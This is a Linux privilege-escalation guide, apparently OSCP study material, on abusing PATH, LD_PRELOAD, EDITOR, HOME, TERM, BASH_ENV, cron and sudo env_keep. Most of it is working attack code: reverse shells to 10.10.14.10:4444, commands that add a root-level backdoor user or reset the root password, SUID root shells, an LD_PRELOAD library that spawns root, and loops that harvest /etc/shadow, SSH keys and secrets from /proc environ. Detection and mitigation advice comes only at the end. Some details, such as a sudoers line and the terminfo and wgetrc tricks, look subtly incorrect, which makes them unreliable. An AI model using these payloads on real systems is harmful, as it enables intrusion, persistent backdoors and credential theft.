Environment Variable Manipulation
How Environment Variables Work in Linux
Environment Variable Basics
Environment variables are key-value pairs that configure the behavior of processes. They form a critical part of the Linux execution environment and can be exploited for privilege escalation when not properly secured.
Variable Lifecycle
Process Creation (fork) → Environment Inherited → execve() → Variables Passed to New Process
↑ ↓
Parent Process Child Process
| |
Can modify own Can modify own (local only)
variables (local) Changes don't affect parent
Core Operations
# View all environment variables
env
printenv
# View a specific variable
echo $PATH
printenv PATH
# Set a variable (current shell only)
MY_VAR="value"
# Export a variable (inherit by child processes)
export MY_VAR="value"
# Unset a variable
unset MY_VAR
# Check if variable is set
[ -n "$MY_VAR" ] && echo "Set" || echo "Not set"
Variable Inheritance Rules
| Scenario | Inheritance Behavior |
|---|---|
fork() |
Child inherits parent’s environment |
exec() |
New process inherits calling process’s environment |
export VAR |
VAR available to all child processes |
VAR=value cmd |
VAR only available to cmd execution |
sudo cmd |
Environment is reset by default (see sudo section) |
cron job |
Minimal environment, PATH=/usr/bin:/bin |
systemd service |
Isolated environment, no user vars by default |
su - user |
New environment loaded from user’s profile |
su user |
Current environment preserved |
Common Environment Variables
Critical Variables for Privilege Escalation
| Variable | Purpose | Privesc Relevance |
|---|---|---|
PATH |
Executable search path | HIGH - PATH hijacking |
LD_LIBRARY_PATH |
Shared library search path | HIGH - Library hijacking |
LD_PRELOAD |
Preload shared libraries | HIGH - Code injection |
HOME |
User home directory | Medium - Config file redirection |
EDITOR |
Default editor program | Medium - Command injection |
VISUAL |
Visual editor program | Medium - Command injection |
TERM |
Terminal type | Low - termcap injection |
LANG/LC_ALL |
Locale settings | Low - encoding attacks |
HISTFILE |
Bash history file | Low - History manipulation |
BASH_ENV |
Bash startup file | Medium - Code execution |
PYTHONPATH |
Python module search path | Medium - Module hijacking |
MANPATH |
Manual page search path | Low |
INFOPATH |
Info page search path | Low |
PATH Variable Deep Dive
# View current PATH
echo $PATH
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
# PATH is colon-separated list of directories
# When you run a command, bash searches each directory in order:
# 1. /usr/local/sbin/backup.sh
# 2. /usr/local/bin/backup.sh
# 3. /usr/sbin/backup.sh
# ...and so on until found
# The first match wins - this is the attack vector
HOME Variable
# HOME determines where config files are looked for
echo $HOME
# /home/user
# Many applications use $HOME for configuration:
# - ~/.bashrc
# - ~/.profile
# - ~/.ssh/
# - ~/.gitconfig
# - ~/.wgetrc
EDITOR and VISUAL Variables
# These determine which editor is launched by commands like:
# git commit, visudo, crontab -e, pager, etc.
echo $EDITOR
# /bin/nano
echo $VISUAL
# (often unset, falls back to EDITOR)
PATH Hijacking: Complete Deep Dive
How PATH Hijacking Works
PATH hijacking exploits the fact that many scripts and programs call other executables by name rather than full path. If you can inject a directory into PATH that contains a malicious executable with the same name, your version runs instead.
Attack Flow
┌─────────────────────────────────────────────────────┐
│ Legitimate Script (runs as root via cron/sudo) │
│ │
│ Calls: backup.sh │
│ ↓ │
│ Searches PATH: │
│ 1. /usr/local/sbin/backup.sh (not found) │
│ 2. /usr/local/bin/backup.sh (not found) │
│ 3. /tmp/backup.sh ← YOUR MALICIOUS VERSION! │
│ ↓ │
│ Executes your code as root! │
└─────────────────────────────────────────────────────┘
When PATH Hijacking Works
| Condition | Works? | Reason |
|---|---|---|
Binary called by name (python script.py) |
Yes | Uses PATH lookup |
Binary called by full path (/usr/bin/python script.py) |
No | No PATH lookup |
Script uses #!/usr/bin/env python |
Yes | env uses PATH |
| Cron job with minimal PATH | Yes | Often /usr/bin:/bin only |
| SUID binary (compiled) | No | SUID ignores PATH for exec |
| Sudo with secure_path | Limited | sudo overrides PATH |
Finding Vulnerable Binaries and Scripts
Step 1: Identify Scripts Called by Name
# Find world-writable directories in PATH
for dir in $(echo $PATH | tr ':' '\n'); do
if [ -d "$dir" ] && [ -w "$dir" ]; then
echo "[!] Writable PATH directory: $dir"
fi
done
# Find scripts that call other commands by name
grep -rn "python\|bash\|sh\|perl\|ruby\|nc\|wget\|curl" /usr/local/bin/ 2>/dev/null
grep -rn "python\|bash\|sh\|perl\|ruby\|nc\|wget\|curl" /opt/ 2>/dev/null
Step 2: Check Cron Jobs for Vulnerable Scripts
# Check all cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# Check user crontabs
ls -la /var/spool/cron/crontabs/
# Look for scripts called by name (not full path)
cat /etc/cron.d/backup
# */5 * * * * root /opt/scripts/backup.sh
# Then examine the script
cat /opt/scripts/backup.sh
Step 3: Analyze Script Contents
# Example vulnerable script: /opt/scripts/backup.sh
#!/bin/bash
cd /var/backups
tar czf backup.tar.gz /important/data
python3 /opt/scripts/compress.py # ← Called by name!
email_admin "Backup complete" # ← Called by name!
# Both 'python3' and 'email_admin' are vulnerable to PATH hijacking
Exploitation: Full Walkthrough
Scenario: Vulnerable Cron Job
# Step 1: Find the vulnerable script
cat /etc/cron.d/backup
# */10 * * * * root /opt/maintenance/backup.sh
cat /opt/maintenance/backup.sh
#!/bin/bash
# Backup script
cd /var/data
tar czf /var/backups/data.tar.gz .
notify "Backup completed" # Called by name - VULNERABLE!
# Step 2: Check current PATH for the cron environment
# Cron typically uses: PATH=/usr/bin:/bin:/usr/sbin:/sbin
# Step 3: Find a writable directory
# Option A: Create a new writable directory
mkdir -p /tmp/exploit
# Option B: Use existing writable directory
ls -ld /tmp/
# drwxrwxrwt 10 root root 4096 Jun 10 10:00 /tmp/
# Step 4: Create malicious binary
cat > /tmp/notify << 'EOF'
#!/bin/bash
# Reverse shell or privilege escalation
bash -c 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1'
# Or add a user
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:password123" | chpasswd
# Or copy SSH key
mkdir -p /root/.ssh
cp /home/user/.ssh/authorized_keys /root/.ssh/
chmod 600 /root/.ssh/authorized_keys
EOF
chmod +x /tmp/notify
# Step 5: Prepend /tmp to PATH
export PATH=/tmp:$PATH
# Step 6: Wait for cron to execute (or trigger manually if possible)
# The cron job will execute YOUR /tmp/notify as root!
# Step 7: Set up listener
nc -lvnp 4444
Scenario: Sudo Script with Relative Paths
# Step 1: Check sudo permissions
sudo -l
# Output:
# (root) NOPASSWD: /opt/scripts/deploy.sh
# Step 2: Examine the script
cat /opt/scripts/deploy.sh
#!/bin/bash
# Deploy application
cd /var/www
git pull
python3 manage.py migrate # Called by name!
systemctl restart app
# Step 3: Create malicious python3
cat > /tmp/python3 << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod +s /tmp/rootshell
EOF
chmod +x /tmp/python3
# Step 4: Hijack PATH and run sudo command
export PATH=/tmp:$PATH
sudo /opt/scripts/deploy.sh
# Step 5: Use the SUID binary
/tmp/rootshell -p
whoami
# root
Advanced PATH Hijacking Techniques
Using Writable PATH Directories
# If a PATH directory is world-writable, you can place binaries directly
ls -ld /usr/local/bin/
# drwxrwxr-x 2 root staff 4096 Jun 10 10:00 /usr/local/bin/
# If you can write here, place your malicious binary
cp /bin/sh /usr/local/bin/notify
chmod +x /usr/local/bin/notify
PATH with Relative Path Entries
# If PATH contains "." or "..", current directory is searched
echo $PATH
# /usr/bin:/bin:.
# Any binary in the current directory takes precedence!
# This is extremely dangerous
# Create malicious binary in current directory
cat > ./backup << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod +s /tmp/rootshell
EOF
chmod +x ./backup
Overriding Common Utilities
# Common utilities targeted for PATH hijacking:
# python, python3, perl, ruby, bash, sh
# wget, curl, nc, ncat, netcat
# tar, gzip, zip, unzip
# ssh, scp, sftp
# git, svn
# mail, sendmail, notify
# Example: Override 'tar' in a backup script
cat > /tmp/tar << 'EOF'
#!/bin/bash
# Execute our payload first
bash -c 'echo "root:backdoor123" | chpasswd'
# Then call the real tar
/usr/bin/tar "$@"
EOF
chmod +x /tmp/tar
export PATH=/tmp:$PATH
HOME Variable Abuse
How HOME Abuse Works
Many applications use $HOME to locate configuration files. By redirecting HOME to an attacker-controlled directory, you can inject malicious configuration.
Exploitation Scenarios
Scenario 1: Application Config Injection
# Step 1: Find applications that use $HOME for config
# Common targets:
# - ~/.wgetrc (wget configuration)
# - ~/.curlrc (curl configuration)
# - ~/.gitconfig (git configuration)
# - ~/.bashrc (bash configuration)
# Step 2: Create controlled directory
mkdir -p /tmp/fakehome
# Step 3: Create malicious config
cat > /tmp/fakehome/.wgetrc << 'EOF'
# Malicious wget config
execute = /bin/bash -c 'id > /tmp/wget_pwned'
EOF
# Step 4: Override HOME
export HOME=/tmp/fakehome
# Step 5: When wget is called, it executes your command
wget http://example.com/file
Scenario 2: SSH Config Injection
# Create malicious SSH config
mkdir -p /tmp/fakehome/.ssh
cat > /tmp/fakehome/.ssh/config << 'EOF'
Host *
PermitLocalCommand yes
LocalCommand /bin/bash -c 'id > /tmp/ssh_pwned'
EOF
export HOME=/tmp/fakehome
# When SSH is used, your command executes
ssh user@target
Scenario 3: Git Config Injection
mkdir -p /tmp/fakehome
cat > /tmp/fakehome/.gitconfig << 'EOF'
[core]
hooksPath = /tmp/evil-hooks
EOF
mkdir -p /tmp/evil-hooks
cat > /tmp/evil-hooks/pre-commit << 'EOF'
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1'
EOF
chmod +x /tmp/evil-hooks/pre-commit
export HOME=/tmp/fakehome
EDITOR and VISUAL Variable Abuse
How Editor Variables Work
Many commands invoke an editor for user input:
git commit→ opens EDITORvisudo→ opens EDITORcrontab -e→ opens EDITORsvn commit→ opens EDITORPAGER=less→ can be exploited
Exploitation
# Step 1: Create malicious editor
cat > /tmp/evil_editor << 'EOF'
#!/bin/bash
# $1 is the file being "edited"
# Read the file content (optional)
cat "$1"
# Execute payload
bash -c 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1'
# Or add a root user
echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd
EOF
chmod +x /tmp/evil_editor
# Step 2: Set EDITOR variable
export EDITOR=/tmp/evil_editor
export VISUAL=/tmp/evil_editor
# Step 3: Trigger a command that uses the editor
# If you can run any of these as root or privileged user:
sudo visudo # If allowed in sudoers
git commit -m "test" # If git repo accessible
crontab -e # If allowed
Advanced: Editor with File Reading
# Create editor that reads sensitive files
cat > /tmp/evil_editor << 'EOF'
#!/bin/bash
FILE="$1"
# Read the file being edited (could be sudoers, config, etc.)
cat "$FILE" > /tmp/leaked_config
# Also read other sensitive files
cat /etc/shadow >> /tmp/leaked_config 2>/dev/null
cat /root/.ssh/id_rsa >> /tmp/leaked_config 2>/dev/null
# Spawn reverse shell
bash -i >& /dev/tcp/10.10.14.10/4444 0>&1
EOF
chmod +x /tmp/evil_editor
export EDITOR=/tmp/evil_editor
TERM Variable Abuse
How TERM Works
The TERM variable specifies the terminal type. Applications use this to look up terminal capabilities from termcap/terminfo databases.
Termcap Injection Attack
# Step 1: Check current TERM
echo $TERM
# xterm-256color
# Step 2: Create malicious terminfo directory
mkdir -p /tmp/terminfo/x
# Step 3: Create malicious terminfo entry
# The 'ti' (terminal init) capability runs on terminal initialization
infocmp xterm-256color > /tmp/malicious_term
# Edit to add malicious init string
# Or use termcap format
cat > /tmp/malicious.term << 'EOF'
evilterm|malicious terminal,\
:ti=\033[?1049h;bash -c 'id > /tmp/term_pwned':\
:te=\033[?1049l:
EOF
# Step 4: Set TERM and TERMCAP
export TERM=evilterm
export TERMCAP=/tmp/malicious.term
# Step 5: When a program initializes the terminal, your command runs
Modern Terminfo Exploitation
# Create directory for custom terminfo
mkdir -p /tmp/terminfo/e/evilterm
# Compile malicious terminfo
cat > /tmp/evilterm.src << 'EOF'
evilterm|xterm with exploit,
use=xterm,
ti=\E]1337;Exec(bash -c 'id > /tmp/pwned')\a,
EOF
tic -o /tmp/terminfo /tmp/evilterm.src
# Set environment
export TERM=evilterm
export TERMINFO=/tmp/terminfo
Cron Job Environment Manipulation
Cron’s Minimal Environment
Cron jobs run with a very limited environment:
# Default cron environment (from /etc/crontab):
SHELL=/bin/sh
PATH=/usr/bin:/bin
# This means:
# 1. Only /usr/bin and /bin are searched for executables
# 2. No user PATH variables are inherited
# 3. No LD_LIBRARY_PATH, LD_PRELOAD, etc.
Exploiting Cron Environment
Attack 1: PATH is Minimal
# If /usr/local/bin is NOT in cron's PATH, but a script
# expects to find a binary there, it might fail or use
# a different (vulnerable) version
# Check cron PATH
cat /etc/crontab | grep PATH
# If PATH=/usr/bin:/bin, you can't hijack via /usr/local/bin
# But you CAN if the script adds to PATH internally
Attack 2: World-Writable Cron Scripts
# Find world-writable cron scripts
find /etc/cron* -type f -writable 2>/dev/null
find /var/spool/cron -type f -writable 2>/dev/null
# If found, modify the script
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.10/4444 0>&1"' >> /etc/cron.daily/vulnerable_script
Attack 3: Cron Variable Injection
# Some cron jobs source environment files
# Check for world-writable env files
find /etc/cron.d/ -type f -exec cat {} \;
# If a cron job does:
# . /etc/myapp/env
# You can inject variables into that file
Sudo Environment Variable Preservation
Understanding Sudo Environment Handling
By default, sudo resets the environment for security. However, several mechanisms can preserve environment variables:
sudoers Environment Directives
| Directive | Effect |
|---|---|
env_reset |
Reset environment (DEFAULT) |
!env_reset |
Don’t reset environment |
env_keep += "VAR" |
Preserve specific variable |
!env_keep |
Don’t preserve any variables |
secure_path |
Override PATH for sudo commands |
always_set_home |
Set HOME to target user’s home |
setenv |
Allow users to set environment |
Checking Preserved Variables
# Check sudo configuration
sudo -l
# Example output:
# User user may run the following commands on target:
# (root) NOPASSWD: /opt/scripts/backup.sh
# Defaults env_keep += "LD_PRELOAD"
# Defaults !env_reset
# Key indicators:
# - env_keep: Variables preserved across sudo
# - !env_reset: Environment NOT reset
# - secure_path: PATH override (limits PATH hijacking)
# - setenv: User can use sudo -E
Exploitation with env_keep
# Scenario 1: LD_PRELOAD is preserved
sudo -l
# Defaults env_keep += "LD_PRELOAD"
# Create malicious library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
setuid(0);
setgid(0);
system("bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/evil.so /tmp/evil.c
# Exploit
sudo LD_PRELOAD=/tmp/evil.so /opt/scripts/backup.sh
# Scenario 2: PATH is preserved (no secure_path)
sudo -l
# No secure_path set, env_keep includes PATH
export PATH=/tmp:$PATH
sudo /opt/scripts/deploy.sh
# Scenario 3: setenv tag allows -E flag
sudo -l
# (root) SETENV: /opt/scripts/backup.sh
sudo -E /opt/scripts/backup.sh
# -E preserves the entire environment
Common env_keep Variables to Check
# Check for these in sudo -l output:
sudo -l 2>&1 | grep -iE "env_keep|env_reset|secure_path|setenv"
# Variables commonly preserved (and exploitable):
# LD_PRELOAD
# LD_LIBRARY_PATH
# PATH
# HOME
# EDITOR
# VISUAL
# PYTHONPATH
# PERL5LIB
Finding Credentials in Environment Variables
Enumeration Commands
# Check all environment variables for credentials
env | grep -iE "pass|secret|key|token|auth|credential|api"
printenv | grep -iE "pass|secret|key|token|auth|credential|api"
# Check for AWS credentials
env | grep -iE "AWS|aws"
# Check for database credentials
env | grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS"
# Check for API keys
env | grep -iE "API_KEY|API_SECRET|TOKEN"
# Check process environment (requires root)
cat /proc/<pid>/environ | tr '\0' '\n'
# Check all processes for credentials
for pid in /proc/[0-9]*/; do
cat "${pid}environ" 2>/dev/null | tr '\0' '\n' | \
grep -iE "pass|secret|key|token" && echo "Found in PID: ${pid}"
done
Common Credential Variables
| Variable Pattern | Service | Example |
|---|---|---|
AWS_ACCESS_KEY_ID |
AWS | AKIAIOSFODNN7EXAMPLE |
AWS_SECRET_ACCESS_KEY |
AWS | wJalrXUtnFEMI/K7MDENG... |
DATABASE_URL |
Database | postgresql://user:pass@host/db |
DB_PASSWORD |
Database | supersecretpassword |
API_KEY |
Various APIs | sk-1234567890abcdef |
GITHUB_TOKEN |
GitHub | ghp_xxxxxxxxxxxxxxxxxxxx |
DOCKER_PASSWORD |
Docker Registry | registrypassword |
JWT_SECRET |
Authentication | my-jwt-secret-key |
ENCRYPTION_KEY |
Encryption | aes-256-key-here |
Reading Process Environment
# Read another process's environment
cat /proc/<pid>/environ | tr '\0' '\n'
# Find processes with interesting environment variables
for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do
if cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | \
grep -qiE "pass|secret|key|token"; then
echo "=== PID $pid ==="
cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | \
grep -iE "pass|secret|key|token"
echo ""
fi
done
Shell Profile Manipulation
Startup Files Execution Order
Bash Login Shell
/etc/profile → ~/.bash_profile → ~/.bash_login → ~/.profile
↓
~/.bashrc (usually sourced from above)
Bash Interactive Non-Login Shell
~/.bashrc
Bash Non-Interactive Shell (Scripts)
$BASH_ENV (if set)
Exploitation via Profile Files
Attack 1: World-Writable Profile Files
# Find writable profile files
find / -name ".bashrc" -writable 2>/dev/null
find / -name ".profile" -writable 2>/dev/null
find / -name ".bash_profile" -writable 2>/dev/null
find / -name "profile" -path "*/etc/*" -writable 2>/dev/null
# If /root/.bashrc is writable:
echo 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1' >> /root/.bashrc
# Next time root logs in, you get a shell
Attack 2: /etc/bash.bashrc or /etc/bashrc
# System-wide bash configuration
ls -la /etc/bash.bashrc
ls -la /etc/bashrc
# If writable, affects ALL bash users
echo 'id > /tmp/bashrc_pwned' >> /etc/bash.bashrc
Attack 3: BASH_ENV Variable
# If BASH_ENV is set, bash sources that file for non-interactive shells
echo $BASH_ENV
# Create malicious script
cat > /tmp/evil_env << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.10/4444 0>&1
EOF
chmod +x /tmp/evil_env
export BASH_ENV=/tmp/evil_env
# Any non-interactive bash shell will source this
PAM Environment
# Check PAM environment configuration
cat /etc/pam.d/common-session
# Look for: session optional pam_env.so
# Check /etc/environment
cat /etc/environment
# Check user-specific PAM environment
cat /etc/security/pam_env.conf
Complete Exploitation Examples
Example 1: PATH Hijacking with Cron Job
# Full walkthrough
# Step 1: Enumeration
cat /etc/cron.d/app_backup
# */5 * * * * root /opt/app/backup.sh
cat /opt/app/backup.sh
#!/bin/bash
cd /var/www/app
tar czf /backup/app.tar.gz .
cleanup_old_backups # Called by name!
notify_admin "Backup done" # Called by name!
# Step 2: Create malicious binaries
cat > /tmp/cleanup_old_backups << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod +s /tmp/rootshell
EOF
chmod +x /tmp/cleanup_old_backups
# Step 3: Hijack PATH
export PATH=/tmp:$PATH
# Step 4: Wait for cron (or trigger if possible)
# After cron runs, use the SUID binary:
/tmp/rootshell -p
whoami
# root
Example 2: Sudo with env_keep LD_PRELOAD
# Full walkthrough
# Step 1: Check sudo permissions
sudo -l
# User user may run:
# (root) NOPASSWD: /usr/local/bin/report
# Defaults env_keep += "LD_PRELOAD"
# Step 2: Create malicious shared library
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
void _init() {
// Clear environment to hide our tracks
unsetenv("LD_PRELOAD");
// Drop privileges to target user, then escalate
struct passwd *pw = getpwnam("root");
if (pw) {
setgid(pw->pw_gid);
setuid(pw->pw_uid);
}
// Spawn shell
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/privesc.so /tmp/privesc.c
# Step 3: Exploit
sudo LD_PRELOAD=/tmp/privesc.so /usr/local/bin/report
# You now have a root shell
whoami
# root
Example 3: EDITOR Hijacking with Sudo
# Full walkthrough
# Step 1: Check sudo permissions
sudo -l
# (root) NOPASSWD: /usr/bin/visudo
# Step 2: Create malicious editor
cat > /tmp/evil_vim << 'EOF'
#!/bin/bash
# Spawn root shell
bash -p
EOF
chmod +x /tmp/evil_vim
# Step 3: Set EDITOR and run visudo
export EDITOR=/tmp/evil_vim
sudo visudo
# You get a root shell instead of the editor
whoami
# root
Detection and Mitigation
Detection Commands
# Check for PATH anomalies
echo $PATH | tr ':' '\n' | while read dir; do
if [ -d "$dir" ] && [ -w "$dir" ]; then
echo "[!] Writable PATH directory: $dir"
fi
done
# Check for suspicious environment variables
env | grep -iE "LD_PRELOAD|LD_LIBRARY|BASH_ENV"
# Check sudo configuration
sudo -l 2>&1 | grep -iE "env_keep|env_reset|secure_path"
# Check for world-writable scripts in cron
find /etc/cron* -type f -perm -0002 2>/dev/null
# Check for scripts using relative paths
grep -rn "^[^#].*\(python\|bash\|perl\|sh\)" /etc/cron* 2>/dev/null
# Check for world-writable profile files
find / -name ".bashrc" -o -name ".profile" -o -name ".bash_profile" 2>/dev/null | \
xargs ls -la 2>/dev/null | grep -E "w.*w"
Mitigation Strategies
| Technique | Mitigation |
|---|---|
| PATH Hijacking | Use absolute paths in scripts; set secure_path in sudoers |
| LD_PRELOAD | SUID binaries clear environment; use !env_keep in sudoers |
| EDITOR Abuse | Set EDITOR to known safe editor; restrict sudo |
| HOME Abuse | Validate HOME in applications; use fixed paths |
| TERM Abuse | Validate TERM against whitelist |
| Cron Environment | Use absolute paths; set minimal PATH in cron |
| Profile Injection | Restrict write permissions on profile files |
| env_keep | Audit sudoers regularly; minimize env_keep |
Secure sudoers Configuration
# /etc/sudoers.d/secure
# Reset environment by default (usually default)
Defaults env_reset
# Set secure PATH
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Don't preserve dangerous variables
Defaults !env_keep += "LD_PRELOAD LD_LIBRARY_PATH LD_AUDIT"
# Always set HOME to target user's home
Defaults always_set_home
# Require password (when possible)
user ALL=(root) /opt/scripts/backup.sh
Secure Script Writing
#!/bin/bash
# Secure script template
# Use absolute paths for ALL commands
/usr/bin/tar czf /var/backups/data.tar.gz /var/data
/usr/bin/python3 /opt/scripts/compress.py
/usr/local/bin/notify "Backup complete"
# Set explicit PATH
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export PATH
# Don't source untrusted files
# Validate environment variables
if [ -n "$LD_PRELOAD" ]; then
echo "LD_PRELOAD is set - refusing to run" >&2
exit 1
fi
OSCP Exam Tips
Always Check Environment Variables
-
First commands after shell access:
env printenv echo $PATH sudo -l -
Look for scripts using relative paths:
# Check cron jobs cat /etc/crontab ls -la /etc/cron.d/ # Examine scripts for relative path usage cat /opt/scripts/backup.sh # Look for commands called without full path -
Check PATH for writable directories:
echo $PATH | tr ':' '\n' | while read d; do [ -d "$d" ] && ls -ld "$d" done -
Always check sudo -l for env_keep:
sudo -l 2>&1 | grep -iE "env_keep|env_reset|secure_path|setenv" -
Common OSCP PATH hijacking scenarios:
- Cron job calls script that uses relative paths
- Sudo script uses
python,bash, or other commands by name - Writable directory in PATH with predictable binary names
- SUID wrapper script (not binary) that calls other commands
-
Remember:
#!/usr/bin/env pythonis vulnerable to PATH hijacking becauseenvlooks uppythonin PATH.
Quick Environment Variable Checklist
[ ] Run: env | grep -iE "pass|secret|key|token"
[ ] Run: echo $PATH
[ ] Run: sudo -l
[ ] Check for writable PATH directories
[ ] Check cron jobs for relative path usage
[ ] Check for world-writable scripts
[ ] Check for env_keep in sudoers
[ ] Check for LD_PRELOAD in environment
[ ] Check /proc/*/environ for credentials
[ ] Check .bashrc, .profile for injection points
Reference Table: Variable Exploitation by Context
| Context | Exploitable Variables | Technique |
|---|---|---|
| Cron Job | PATH, SHELL | PATH hijacking |
| Sudo | LD_PRELOAD, PATH, EDITOR | env_keep abuse |
| SUID Script | PATH | PATH hijacking (scripts only) |
| Web App | HOME, EDITOR | Config injection |
| Container | All variables | Namespace escape |
| SSH Session | TERM, BASH_ENV | Profile injection |
| Git Operations | EDITOR, GIT_DIR | Editor hijacking |